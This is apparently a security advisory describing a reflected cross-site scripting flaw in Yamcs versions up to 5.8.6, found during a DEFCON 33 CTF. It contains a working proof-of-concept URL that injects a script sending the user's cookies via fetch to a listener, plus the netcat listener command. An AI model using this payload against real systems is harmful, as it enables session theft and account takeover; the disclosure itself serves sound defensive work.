Unauthenticated remote
Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.
A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.
Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:
You then use JavaScript to obtain the user's cookies and display them in the alert:
Finally, use the fetch function to send the user's cookies to a remote server which we controlled:
Now you can set these cookies in our own browser and login to Yamcs as the user.
nc -nlvp 8888
http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou
This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.
{
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T17:17:50Z",
"nvd_published_at": null,
"severity": "MODERATE"
}